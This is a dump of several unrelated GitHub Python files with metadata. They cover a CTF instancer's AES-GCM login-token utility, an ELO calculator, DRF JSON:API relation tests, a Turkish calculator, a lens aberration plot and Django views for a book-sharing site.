main(args)\n","repo_name":"JoeyTeng/Algorithm-Selection-for-Classification-Problems-via-Cluster-based-Meta-features","sub_path":"spherical_cluster.py","file_name":"spherical_cluster.py","file_ext":"py","file_size_in_byte":13909,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"21008890221","text":"import json\nimport os\nimport re\nimport secrets\nimport time\nimport urllib.parse\nimport uuid\nfrom base64 import b64decode, b64encode\n\nimport yaml\nfrom Crypto.Cipher import AES\n\nconfig_file_path = os.path.join(os.path.dirname(__file__), \"../config.yml\")\n\n\nclass LoginToken:\n    login_token = None\n\n    def __init__(\n        self,\n        team_id: str,\n        timestamp=None,\n        forceUUID=True,\n        secret_key=None,\n        team_name=None,\n        team_email=None,\n    ):\n        \"\"\"Initialize a LoginToken given decoded parameters\"\"\"\n\n        if secret_key is None and self.login_token is None:\n            raise ValueError(\"Must provide a valid secret key\")\n        if secret_key is not None and len(b64decode(secret_key)) != 32:\n            raise ValueError(\n                \"Invalid secret login key. Secret login key must be exactly 32 bytes long, base64 encoded\"\n            )\n        if secret_key is not None:\n            self.login_token = secret_key\n        if timestamp is None:\n            timestamp = time.time()\n        # Unless forceUUID is disabled, all team_ids should be UUIDs\n        if (\n            re.match(\n                r\"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\",\n                team_id,\n            )\n            is None\n        ):\n            if forceUUID:\n                raise ValueError(\"A non-UUID was passed in as the team_id\")\n        self.team_id = team_id\n        self.timestamp = timestamp\n        self.team_name = team_name\n        self.team_email = team_email\n\n    @classmethod\n    def decode(cls, token):\n        \"\"\"Decodes a token\n\n        May throw a ValueError if the key format is invalid\"\"\"\n\n        decoded = json.loads(LoginToken.decrypt(token))\n\n        try:\n            if decoded[\"k\"] == 8:\n                return cls(\n                    decoded[\"d\"][\"teamId\"],\n                    timestamp=decoded[\"t\"],\n                    team_name=decoded[\"d\"][\"name\"],\n                    team_email=decoded[\"d\"][\"email\"],\n                )\n            elif decoded[\"k\"] == 16:\n                return cls(decoded[\"d\"], timestamp=decoded[\"t\"])\n            else:\n                raise ValueError(\n                    \"Token was an invalid or unknown type (type {}) with content '{}'\".format(\n                        decoded[\"k\"], str(decoded)\n                    )\n                )\n        except KeyError:\n            raise ValueError(\n                \"Invalid key - either it failed to decrypt or was not of the required format or key type\"\n            )\n\n    def get_login_url(self, currentTime=True, url=\"http://localhost:8080\", t=16) -> str:\n        return \"{}/login?token={}\".format(\n            url, urllib.parse.quote_plus(self.get_token(currentTime=currentTime, t=t))\n        )\n\n    def get_token(self, currentTime=True, t=16):\n        login_token = {\n            \"k\": t,\n            \"t\": (int(time.time()) if currentTime else self.timestamp),\n            \"d\": self.team_id,\n        }\n        encrypted_token = self.encrypt(json.dumps(login_token, separators=(\",\", \":\")))\n        return encrypted_token\n\n    def get_json(self, currentTime=True):\n        login_token = {\n            \"k\": 8,\n            \"t\": (int(time.time()) if currentTime else self.timestamp),\n            \"d\": {\n                \"teamId\": self.team_id,\n                \"name\": self.team_name,\n                \"email\": self.team_email,\n            },\n        }\n        return login_token\n\n    @classmethod\n    def decrypt(cls, token: str) -> str:\n        \"\"\"\n        Given a base64 string, decrypts using the login secret key\n\n        May raise a ValueError, meaning decryption either failed or message integrity check failed\n        \"\"\"\n        key = b64decode(cls.login_token)\n        data = b64decode(token.encode())\n        cipher = AES.new(key, AES.MODE_GCM, data[:12])\n        dec = cipher.decrypt_and_verify(data[12:-16], data[-16:])\n        return dec.decode(\"utf-8\")\n\n    @classmethod\n    def encrypt(cls, json: str) -> str:\n        \"\"\"\n        Given any string (usually json string), encrypts using the login secret key\n        \"\"\"\n        key = b64decode(cls.login_token)\n        dec = str(json).encode()\n        nonce = secrets.token_bytes(12)\n        cipher = AES.new(key, AES.MODE_GCM, nonce)\n        enc, mac = cipher.encrypt_and_digest(dec)\n        return b64encode(nonce + enc + mac).decode(\"utf-8\")\n\n\nif __name__ == \"__main__\":\n    custom_token = input(\n        \"Enter in the login_secret_key, or leave blank to use one in config.yml: \"\n    )\n    if custom_token == \"\":\n        with open(config_file_path, \"r\") as f:\n            try:\n                conf = yaml.safe_load(f)\n                LoginToken.login_token = conf[\"login_secret_key\"]\n                admin_uuid = conf[\"admin_team_id\"]\n                instancer_url = conf[\"url\"]\n                print(\"Found valid config\")\n            except yaml.YAMLError as exc:\n                print(\"Failed to read config file:\")\n                print(exc)\n                exit(1)\n    else:\n        LoginToken.login_token = custom_token\n        admin_uuid = uuid.uuid4()\n        instancer_url = \"http://localhost:8080\"\n\n    while True:\n        print(\n            \"\"\"What would you like to do? Type the number:\n        1 - Generate a login URL\n        2 - Decode a login URL\n        3 - Exit\n        \"\"\"\n        )\n        choice = input()\n        if choice == \"1\":\n            token_type = int(input(\"Token type (leave empty if unsure): \") or \"16\")\n            input_uuid = input(\n                \"Enter account UUID (leave blank for random, enter admin to use admin uuid): \"\n            )\n            if input_uuid == \"\":\n                input_uuid = str(uuid.uuid4())\n            elif input_uuid == \"admin\":\n                input_uuid = admin_uuid\n            else:\n                try:\n                    uuid.UUID(input_uuid)\n                except:\n                    print(\"Invalid Input\")\n            print(\"Using uuid {}\".format(input_uuid))\n            new_token = LoginToken(input_uuid)\n            print(\"Login URL:\")\n            print(new_token.get_login_url(url=instancer_url, t=token_type))\n        elif choice == \"2\":\n            input_encrypted = input(\"Enter in a login URL or login token: \")\n            if \"/login?token=\" in input_encrypted:\n                input_encrypted = input_encrypted.split(\"login?token=\", 2)[1]\n            input_encrypted = urllib.parse.unquote(input_encrypted)\n\n            token = LoginToken.decode(input_encrypted)\n            print(\"Token information:\")\n            print(json.dumps(token.get_json()))\n        elif choice == \"3\":\n            exit(0)\n        else:\n            print(\"Unexpected input\")\n","repo_name":"pbrucla/cyber-instancer","sub_path":"utilities/token_manager.py","file_name":"token_manager.py","file_ext":"py","file_size_in_byte":6674,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"}
+{"seq_id":"14308126960","text":"\"\"\"Calculate ELO standings.\"\"\"\n\nimport argparse\nimport collections\nimport csv\nimport json\n\nimport elo\n\n\ndef main():\n    \"\"\"Calculate ELO standings after one round.\"\"\"\n    parser = argparse.ArgumentParser(\n        description=\"Calculate ELO based on previous standings and one round.\",\n        formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n        conflict_handler='resolve')\n    parser.add_argument('standings',\n                        help='Current standings')\n    parser.add_argument('round',\n                        help='Results for one round of play')\n    parser.add_argument('new_standings',\n                        help='New standings')\n    options = parser.parse_args()\n\n    with open(options.standings) as sf:\n        standings = json.load(sf)\n\n    match = elo.ELOMatch()\n    players = []\n    ignore = standings['ignore']\n    alias = standings['alias']\n\n    with open(options.round) as rf:\n        reader = csv.DictReader(rf)\n        for row in reader:\n            player = row['PlayerName']\n            if player not in ignore:\n                if player in alias:\n                    row['PlayerName'] = alias[player]\n                    player = alias[player]\n                players.append((row['PlayerName'], row['Total']))\n\n    players = sorted(players, key=lambda r: r[1])\n    prev_total = 0\n    prev_place = 0\n    for place, (name, total) in enumerate(players, start=1):\n        prev_elo = standings[name] if name in standings else 1500\n        if total == prev_total:\n            place = prev_place\n        match.addPlayer(name, place, prev_elo)\n        prev_total, prev_place = total, place\n\n    if len(players) < 3:\n        # print(players, file=sys.stderr)\n        new_standings = standings\n    else:\n        match.calculateELOs()\n        new_elos = dict(standings['elo'])\n        new_counters = collections.defaultdict(int, standings['matches'])\n        for name, total in players:\n            new_elos[name] = match.getELO(name)\n            new_counters[name] += 1\n\n        new_standings = {'alias': alias,\n                         'elo': new_elos,\n                         'ignore': ignore,\n                         'matches': new_counters}\n\n    with open(options.new_standings, \"w\") as nf:\n        json.dump(new_standings, nf, sort_keys=True, indent=2)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"slava92/diskach-elo","sub_path":"add-round.py","file_name":"add-round.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6261043225","text":"import pytest\nfrom django.urls import re_path\nfrom rest_framework import status\nfrom rest_framework.fields import SkipField\nfrom rest_framework.routers import SimpleRouter\nfrom rest_framework.serializers import Serializer\n\nfrom rest_framework_json_api.exceptions import Conflict\nfrom rest_framework_json_api.relations import (\n    HyperlinkedRelatedField,\n    SerializerMethodHyperlinkedRelatedField,\n)\nfrom rest_framework_json_api.serializers import ModelSerializer, ResourceRelatedField\nfrom rest_framework_json_api.utils import format_link_segment\nfrom rest_framework_json_api.views import RelationshipView\nfrom tests.models import BasicModel, ForeignKeySource, ForeignKeyTarget\nfrom tests.serializers import (\n    ForeignKeySourceSerializer,\n    ManyToManySourceReadOnlySerializer,\n    ManyToManySourceSerializer,\n)\nfrom tests.views import BasicModelViewSet\n\n\n@pytest.mark.django_db\nclass TestResourceRelatedField:\n    @pytest.mark.parametrize(\n        \"format_type,pluralize_type,resource_type\",\n        [\n            (False, False, \"ForeignKeyTarget\"),\n            (False, True, \"ForeignKeyTargets\"),\n            (\"dasherize\", False, \"foreign-key-target\"),\n            (\"dasherize\", True, \"foreign-key-targets\"),\n        ],\n    )\n    def test_serialize(\n        self, format_type, pluralize_type, resource_type, foreign_key_target, settings\n    ):\n        settings.JSON_API_FORMAT_TYPES = format_type\n        settings.JSON_API_PLURALIZE_TYPES = pluralize_type\n\n        serializer = ForeignKeySourceSerializer(instance={\"target\": foreign_key_target})\n        expected = {\n            \"type\": resource_type,\n            \"id\": str(foreign_key_target.pk),\n        }\n\n        assert serializer.data[\"target\"] == expected\n\n    def test_get_resource_id(self, foreign_key_target):\n        class CustomResourceRelatedField(ResourceRelatedField):\n            def get_resource_id(self, value):\n                return value.name\n\n        class CustomPkFieldSerializer(ModelSerializer):\n            target = CustomResourceRelatedField(\n                queryset=ForeignKeyTarget.objects, pk_field=\"name\"\n            )\n\n            class Meta:\n                model = ForeignKeySource\n                fields = (\"target\",)\n\n        serializer = CustomPkFieldSerializer(instance={\"target\": foreign_key_target})\n        expected = {\n            \"type\": \"ForeignKeyTarget\",\n            \"id\": \"Target\",\n        }\n\n        assert serializer.data[\"target\"] == expected\n\n    @pytest.mark.parametrize(\n        \"format_type,pluralize_type,resource_type\",\n        [\n            (False, False, \"ForeignKeyTarget\"),\n            (False, True, \"ForeignKeyTargets\"),\n            (\"dasherize\", False, \"foreign-key-target\"),\n            (\"dasherize\", True, \"foreign-key-targets\"),\n        ],\n    )\n    def test_deserialize(\n        self, format_type, pluralize_type, resource_type, foreign_key_target, settings\n    ):\n        settings.JSON_API_FORMAT_TYPES = format_type\n        settings.JSON_API_PLURALIZE_TYPES = pluralize_type\n\n        serializer = ForeignKeySourceSerializer(\n            data={\"target\": {\"type\": resource_type, \"id\": str(foreign_key_target.pk)}}\n        )\n\n        assert serializer.is_valid()\n        assert serializer.validated_data[\"target\"] == foreign_key_target\n\n    @pytest.mark.parametrize(\n        \"format_type,pluralize_type,resource_type\",\n        [\n            (False, False, \"ForeignKeyTargets\"),\n            (False, False, \"Invalid\"),\n            (False, False, \"foreign-key-target\"),\n            (False, True, \"ForeignKeyTarget\"),\n            (\"dasherize\", False, \"ForeignKeyTarget\"),\n            (\"dasherize\", True, \"ForeignKeyTargets\"),\n        ],\n    )\n    def test_validation_fails_on_invalid_type(\n        self, format_type, pluralize_type, resource_type, foreign_key_target, settings\n    ):\n        settings.JSON_API_FORMAT_TYPES = format_type\n        settings.JSON_API_PLURALIZE_TYPES = pluralize_type\n\n        with pytest.raises(Conflict) as e:\n            serializer = ForeignKeySourceSerializer(\n                data={\n                    \"target\": {\"type\": resource_type, \"id\": str(foreign_key_target.pk)}\n                }\n            )\n            serializer.is_valid()\n        assert e.value.status_code == status.HTTP_409_CONFLICT\n\n    @pytest.mark.parametrize(\n        \"format_type,pluralize_type,resource_type\",\n        [\n            (False, False, \"ManyToManyTarget\"),\n            (False, True, \"ManyToManyTargets\"),\n            (\"dasherize\", False, \"many-to-many-target\"),\n            (\"dasherize\", True, \"many-to-many-targets\"),\n        ],\n    )\n    def test_serialize_many_to_many_relation(\n        self,\n        format_type,\n        pluralize_type,\n        resource_type,\n        many_to_many_source,\n        many_to_many_targets,\n        settings,\n    ):\n        settings.JSON_API_FORMAT_TYPES = format_type\n        settings.JSON_API_PLURALIZE_TYPES = pluralize_type\n\n        serializer = ManyToManySourceSerializer(instance=many_to_many_source)\n        expected = [\n            {\"type\": resource_type, \"id\": str(target.pk)}\n            for target in many_to_many_targets\n        ]\n        assert serializer.data[\"targets\"] == expected\n\n    @pytest.mark.parametrize(\n        \"format_type,pluralize_type,resource_type\",\n        [\n            (False, False, \"ManyToManyTarget\"),\n            (False, True, \"ManyToManyTargets\"),\n            (\"dasherize\", False, \"many-to-many-target\"),\n            (\"dasherize\", True, \"many-to-many-targets\"),\n        ],\n    )\n    @pytest.mark.parametrize(\n        \"serializer_class\",\n        [ManyToManySourceSerializer, ManyToManySourceReadOnlySerializer],\n    )\n    def test_deserialize_many_to_many_relation(\n        self,\n        format_type,\n        pluralize_type,\n        resource_type,\n        serializer_class,\n        many_to_many_targets,\n        settings,\n    ):\n        settings.JSON_API_FORMAT_TYPES = format_type\n        settings.JSON_API_PLURALIZE_TYPES = pluralize_type\n\n        targets = [\n            {\"type\": resource_type, \"id\": target.pk} for target in many_to_many_targets\n        ]\n        serializer = ManyToManySourceSerializer(data={\"targets\": targets})\n        assert serializer.is_valid()\n        assert serializer.validated_data[\"targets\"] == many_to_many_targets\n\n    @pytest.mark.parametrize(\n        \"resource_identifier,error\",\n        [\n            (\n                {\"type\": \"ForeignKeyTarget\"},\n                \"Invalid resource identifier object: missing 'id' attribute\",\n            ),\n            (\n                {\"id\": \"1234\"},\n                \"Invalid resource identifier object: missing 'type' attribute\",\n            ),\n        ],\n    )\n    def test_invalid_resource_id_object(self, resource_identifier, error):\n        serializer = ForeignKeySourceSerializer(data={\"target\": resource_identifier})\n        assert not serializer.is_valid()\n        assert serializer.errors == {\"target\": [error]}\n\n\nclass TestHyperlinkedRelatedField:\n    @pytest.fixture\n    def instance(self):\n        # dummy instance\n        return object()\n\n    @pytest.fixture\n    def serializer(self):\n        class HyperlinkedRelatedFieldSerializer(Serializer):\n            single = HyperlinkedRelatedField(\n                self_link_view_name=\"basic-model-relationships\",\n                related_link_view_name=\"basic-model-related\",\n                read_only=True,\n            )\n            many = HyperlinkedRelatedField(\n                self_link_view_name=\"basic-model-relationships\",\n                related_link_view_name=\"basic-model-related\",\n                read_only=True,\n                many=True,\n            )\n            single_serializer_method = SerializerMethodHyperlinkedRelatedField(\n                self_link_view_name=\"basic-model-relationships\",\n                related_link_view_name=\"basic-model-related\",\n                read_only=True,\n            )\n            many_serializer_method = SerializerMethodHyperlinkedRelatedField(\n                self_link_view_name=\"basic-model-relationships\",\n                related_link_view_name=\"basic-model-related\",\n                read_only=True,\n                many=True,\n            )\n\n            def get_single_serializer_method(self, obj):  # pragma: no cover\n                raise NotImplementedError\n\n            def get_many_serializer_method(self, obj):  # pragma: no cover\n                raise NotImplementedError\n\n        return HyperlinkedRelatedFieldSerializer()\n\n    @pytest.fixture(\n        params=[\"single\", \"many\", \"single_serializer_method\", \"many_serializer_method\"]\n    )\n    def field(self, serializer, request):\n        field = serializer.fields[request.param]\n        field.field_name = request.param\n        return field\n\n    def test_get_attribute(self, model, field):\n        with pytest.raises(SkipField):\n            field.get_attribute(model)\n\n    def test_to_representation(self, model, field):\n        with pytest.raises(NotImplementedError):\n            field.to_representation(model)\n\n    @pytest.mark.urls(__name__)\n    @pytest.mark.parametrize(\n        \"format_related_links\",\n        [\n            False,\n            \"dasherize\",\n            \"camelize\",\n            \"capitalize\",\n            \"underscore\",\n        ],\n    )\n    def test_get_links(\n        self,\n        format_related_links,\n        field,\n        settings,\n        model,\n    ):\n        settings.JSON_API_FORMAT_RELATED_LINKS = format_related_links\n\n        link_segment = format_link_segment(field.field_name)\n\n        expected = {\n            \"self\": f\"/basic_models/{model.pk}/relationships/{link_segment}/\",\n            \"related\": f\"/basic_models/{model.pk}/{link_segment}/\",\n        }\n\n        if hasattr(field, \"child_relation\"):\n            # many case\n            field = field.child_relation\n\n        actual = field.get_links(model)\n        assert expected == actual\n\n\n# Routing setup\n\n\nclass BasicModelRelationshipView(RelationshipView):\n    queryset = BasicModel.objects\n\n\nrouter = SimpleRouter()\nrouter.register(r\"basic_models\", BasicModelViewSet, basename=\"basic-model\")\n\nurlpatterns = [\n    re_path(\n        r\"^basic_models/(?P<pk>[^/.]+)/(?P<related_field>[^/.]+)/$\",\n        BasicModelViewSet.as_view({\"get\": \"retrieve_related\"}),\n        name=\"basic-model-related\",\n    ),\n    re_path(\n        r\"^basic_models/(?P<pk>[^/.]+)/relationships/(?P<related_field>[^/.]+)/$\",\n        BasicModelRelationshipView.as_view(),\n        name=\"basic-model-relationships\",\n    ),\n]\n\nurlpatterns += router.urls\n","repo_name":"django-json-api/django-rest-framework-json-api","sub_path":"tests/test_relations.py","file_name":"test_relations.py","file_ext":"py","file_size_in_byte":10462,"program_lang":"python","lang":"en","doc_type":"code","stars":1116,"dataset":"github-code","pt":"37"}
+{"seq_id":"18454796930","text":"import cagir\n\n\nwhile True:\n\n    print(\"\"\"\n    \n    Dört İslem Yapmak için, 1 yazin.\n    Geometrik Sekillerde İslem Yapmak için, 2 yazin.\n    Hesap Makinesini Durdurmak icin, 0 yazin.\n\n          \"\"\")\n    secim=int(input(\"Seçim Yap (1#2): \"))\n    \n    \n    if secim==1:\n        print(\"\"\"\n        Toplama İslemi icin, 1 yazin.\n        Cikarma İslemi icin, 2 yazin.\n        Carpma İslemi icin, 3 yazin.\n        Bölme İslemi icin, 4 yazin.\n        Hesap Makinesini Durdurmak icin, 0 yazın.\n        \n        \"\"\")\n        \n\n        islem=int(input(\"Yapilacak İslemi Secin :\"))\n        result=0\n        if islem == 1: #Toplama\n            cagir.topla()\n            \n\n        elif islem == 2: #Cikarma\n            cagir.cikar()\n            \n\n        elif islem == 3: #Carpma\n            cagir.carp()\n    \n\n        elif islem == 4: #Bolme\n            cagir.bol()\n          \n        elif islem==0:\n            print(\"Hesap Makinesi Durduruldu\")\n            break        \n        else:\n            print(\"Hatali Giris Yaptınız.\")\n    elif secim==2:\n        print(\"\"\"\n        \n        Kare Alan ve Cevre Hesabi icin, 1 yazin.\n        Dikdortgen Alan ve Cevre Hesabi icin, 2 yazin.\n        Ucgen Alan ve Cevre Hesabi icin, 3 yazin.\n        Hesap Makinesini Durdurmak icin, 0 yazin.\n        \n            \"\"\")\n        islem=int(input(\"Yapilacak Islemi Secin(1#2#3) :\"))\n       \n        \n\n        if islem == 1: #Kare Alan ve Cevre\n            cagir.kare()\n\n        elif islem == 2: #Dikdortgen Alan ve Cevresi\n            cagir.dikdortgen()\n\n        elif islem == 3:#Ucgen Alan ve Cevresi\n            cagir.ucgen()\n\n        elif islem == 0: #Cikis\n            print(\"Hesap Makinesi Durduruldu\")\n            break\n        else:\n            print(\"Hatali Giris Yaptınız.\")\n    elif secim==0:\n        print(\"Hesap Makinesi Durduruldu\")\n        break\n    else:\n        print(\"Hatali Giris Yaptınız.\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"imonursahin/python-four-operation-calculator-and-geometric-calculations","sub_path":"hesapmak.py","file_name":"hesapmak.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"21533932399","text":"import matplotlib.pyplot as mpb\nimport numpy as np\n\n\nnc = [1, 1.5582, 1.71037, 1]   #结构数据，几个折射率，球面半径，厚度\nnf = [1, 1.57596, 1.73468, 1]\nnd = [1, 1.5688, 1.7172, 1]\nr = [18.016, -9.819, -27.698]\nd = [3, 1.2 , 0]\nL = -28.33  #物距、最大孔径角、最大高度（第一个透镜的孔径）\nUmax = 0.15\nhmax = 4.25\ndu = Umax / 500\n\ndef refraction(U , L, r, n, n_):    #光线追迹\n    I = np.arcsin((L-r)*np.sin(U)/r)\n    I_ = np.arcsin(n*np.sin(I)/n_)\n    U_ = U+I-I_\n    if U_==0:\n        U_=0.001\n    L_ = r+r*np.sin(I_)/np.sin(U_)\n    return U_ , L_\n\ndef transfer(U,L,d):    #  转面公式\n    U=U\n    d=d-abs(U)*20\n    L=L - d\n    return U,L\n\ndef imagine(U,L,ch):     #  对不同的U 迭代成像\n    if ch == 1 :\n        for i in range(2):\n            U, L = refraction(U, L, r[i], nc[i], nc[i + 1])\n            U, L = transfer(U, L, d[i])\n    if ch == 2:\n        for i in range(2):\n            U, L = refraction(U, L, r[i], nf[i], nf[i + 1])\n            U, L = transfer(U, L, d[i])\n    if ch == 3 :\n        for i in range(2):\n            U, L = refraction(U, L, r[i], nd[i], nd[i + 1])\n            U, L = transfer(U, L, d[i])\n\n    return U,L\n\n\nif __name__ == '__main__':\n\n    dy1=[]\n    dy2=[]\n    dy3=[]\n    z=[]\n    mpb.axis([-0.4, 0.4, -1, 1])\n    mpb.xlabel(\"dy\")\n    mpb.ylabel(\"h/Hmax\")\n    ax = mpb.gca()  #  设置坐标轴\n\n    U01, L01 = imagine(0.0001, L ,1)\n    U02, L02 = imagine(0.0001, L, 2)\n    U03, L03 = imagine(0.0001, L, 3) #  近轴���像\n    for i in range(0, 1000, 1):      #  对U循环\n        U=-Umax+du*i\n        U1, L1 = imagine(U, L , 1)\n        U2, L2 = imagine(U, L , 2)\n        U3, L3 = imagine(U, L , 3)\n        dy1.append( -(L01 - L1) * np.tan(U1))\n        dy2.append( -(L02 - L2) * np.tan(U2))\n        dy3.append( -(L03 - L3) * np.tan(U3))\n        z.append( L*np.tan(U)/hmax)\n    mpb.plot( dy1 ,z, color='red', linewidth=0.5,label='nc') #  修饰坐标并作图\n    mpb.plot( dy2, z, color='blue', linewidth=0.5 ,label='nf')\n    mpb.plot( dy3, z, color='green', linewidth=0.5 ,label='nd')\n    ax.xaxis.set_ticks_position('bottom')\n    ax.spines['bottom'].set_position(('data', 0))\n    ax.yaxis.set_ticks_position('left')\n    ax.spines['left'].set_position(('data', 0))\n    mpb.grid(True)\n    mpb.legend()\n    mpb.show()   #  显示图像\n\n\n\n\n\n\n\n\n","repo_name":"lyh983012/Python-Learning","sub_path":"demo2/8.LEN_SIMU.py","file_name":"8.LEN_SIMU.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28259537735","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login as auth_login, logout as auth_logout\n\nfrom register.signals import send_login_notification\nfrom .forms import CustomUserCreationForm\nfrom django.http import HttpResponse\nfrom .models import CustomUser\nfrom .forms import UploadBookForm\nfrom rest_framework.response import Response\nfrom django.http import JsonResponse\n\nfrom django.contrib.auth import get_user_model\nfrom register.models import UploadedFiles\nfrom register.serializers import UploadedFileSerializer\n\nfrom rest_framework import generics, permissions\nfrom rest_framework.views import APIView\nfrom rest_framework.authentication import TokenAuthentication\nfrom .serializers import CustomUserSerializer, CustomUserCreateSerializer\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.authtoken.views import ObtainAuthToken\nuser = get_user_model()\nfrom django.core.mail import send_mail\nfrom django.conf import settings\nfrom .wrapper import my_books_wrapper\nfrom rest_framework.decorators import api_view, permission_classes\n# from rest_framework.permissions import IsAuthenticated\n# from django.http import JsonResponse\n\n\ndef login(request):\n    if request.method == \"POST\":\n        usern = request.POST.get(\"username\")\n        passw = request.POST.get(\"password\")\n        \n        if usern and passw:\n            user = CustomUser.objects.get(username=usern)\n            auth_user = authenticate(request, username=usern, password=passw)\n            print(user)\n            print(auth_user)\n            if auth_user is not None:\n                auth_login(request, auth_user)\n                # send_login_notification(auth_user)\n                return redirect('index')\n            else: \n                return redirect('login') \n        else:\n            return redirect('login')\n    return render(request, \"login.html\")\n\ndef logout_view(request):\n    if request.method == 'POST':\n        auth_logout(request)\n        return redirect('login')\n    \n    return render(request, 'login.html')\n\n\n# def filter(request):\n#     return render(request, \"filter.html\")\n\n\ndef register(request):\n    if request.method == \"POST\":\n        form = CustomUserCreationForm(request.POST)\n        if form.is_valid():\n            form.save()\n            return redirect(\"login\")\n    else:\n        form = CustomUserCreationForm()\n        return HttpResponse({'success': False})\n\n    return render(request, \"register.html\", {\"form\": form})\n\n\ndef index_view(request):\n    print(request.user.is_authenticated)\n    if not request.user.is_authenticated:\n        return redirect(\"login\")\n    context = {\n        \"full_name\": request.user.fullname if request.user.is_authenticated else None,\n    }\n    return render(request, \"index.html\", context)\n\n\n# def authors_and_sellers(request):\n#     users = CustomUser.objects.filter(visibility=True)\n#     return render(request, \"filter.html\", {\"users\": users})\n\n\ndef upload_books(request):\n    if not request.user.is_authenticated:\n        return redirect(\"login\")\n    else:\n        username = request.user.username\n    if request.method == \"POST\":\n        form = UploadBookForm(request.POST, request.FILES)\n        if form.is_valid():\n            user_pr = form.save(commit=False)\n            user_pr.save()\n            return render(request, \"index.html\", {'user_pr': user_pr})\n    else:\n        form = UploadBookForm()\n\n    return render(request, \"upload_books.html\", {\"form\": form, \"username\": username})\n    return HttpResponse({'success': True})\n\n\ndef uploaded_files(request):\n    if not request.user.is_authenticated:\n        return redirect(\"login\")\n    else:\n        username = request.user.username\n        print(username)\n        files = UploadedFiles.objects.all()\n        # if username is not None:\n        #     files = files.filter(username=username)\n    return render(request, \"uploaded_files.html\", {\"files\": files})\n\n@my_books_wrapper\ndef my_books_view(request):\n    if request.user.is_authenticated:\n        username = request.user.username\n        print(username)\n        file = UploadedFiles.objects.all()\n        if username is not None:\n            file = file.filter(username=username)\n    return render(request, 'my_books.html', {'uploaded_files': file})\n\n\ndef Authors_sellers(request):\n    # users = CustomUser.objects.all()\n    if not request.user.is_authenticated:\n        return redirect(\"login\")\n    else:\n        filter_option = request.GET.get(\"filter\", \"all\")\n\n        # Filter users based on the filter option\n        if filter_option == \"all\":\n            users = CustomUser.objects.all()\n        elif filter_option == \"true\":\n            users = CustomUser.objects.filter(visibility=True)\n        elif filter_option == \"false\":\n            users = CustomUser.objects.filter(visibility=False)\n        else:\n            users = CustomUser.objects.all()\n\n    context = {\n        \"users\": users,\n        \"filter_option\": filter_option,\n    }\n    html = render(request, \"authors&sellers.html\", context).content.decode('utf-8')\n    return HttpResponse(html)\n\n\nclass UserDetailAPI(APIView):\n    authentication_classes = (TokenAuthentication,)\n    permission_classes = (IsAuthenticated,)\n\n    def get(self, request, format=None):\n        # user = CustomUser.objects.all()\n        # serializer = CustomUserSerializer(user, data=request.data)\n        # if serializer.is_valid():\n        #     serializer.save()\n        #     return Response(serializer.data)\n        # else:\n        #     return Response(serializer.errors)\n        usernames = [user.username for user in CustomUser.objects.all()]\n        return Response(usernames)\n    \n    # def post(self, request):\n    #     serializer = CustomUserSerializer(data=request.data)\n\n    #     if not serializer.is_valid():\n    #         print(serializer.errors)\n    #         return Response(serializer.errors)\n    #     serializer.save() \n    #     return Response(serializer.data)\n\nclass CustomAuthToken(ObtainAuthToken):\n    def post(self, request, **args):\n        serialzer = self.serializer_class(data=request.data, context={'request': request})\n        serialzer.is_valid(raise_exception=True)\n        user = serialzer.validated_data['user']\n        token, created = Token.objects.get_or_create(user=user)\n        return Response({\n            'token': token.key,\n            'user_id': user.pk,\n            'email': user.email\n        })\n\n\n# class RegisterUser(APIView):\n#     def post(self, request):\n#         serializer = CustomUserSerializer(data=request.data)\n\n#         if not serializer.is_valid():\n#             return Response(serializer.errors)\n        \n#         serializer.save()\n\n#         user = CustomUser.objects.get(username=serializer.data['username'])\n#         token_obj, _ = Token.objects.get_or_create(user=user)\n\n#         return Response({'payload': serializer.data, 'token': str(token_obj)})\n\n# class FileDetailView(generics.RetrieveAPIView):\n#     queryset = UploadedFiles.objects.all()\n#     serializer_class = UploadedFileSerializer\n#     permission_classes = [permissions.IsAuthenticated]\n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef get_uploaded_file(request, file_id):\n    try:\n        file = UploadedFiles.objects.get(username=file_id)\n        return Response({'file_url': file.file.url})\n    except UploadedFiles.DoesNotExist:\n        return Response({'error': 'File not found'}, status=404)\n\n# def send_email(request):\n#     subject = 'Hello from social_book'\n#     message = 'This is a test email sent from social_book.'\n#     email_from = settings.EMAIL_HOST_USER\n#     recipient_list = ['recipient@example.com']  \n\n#     send_mail(subject, message, email_from, recipient_list)\n#     return HttpResponse('Email sent successfully!')\n\n","repo_name":"knk2902/social_books","sub_path":"register/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
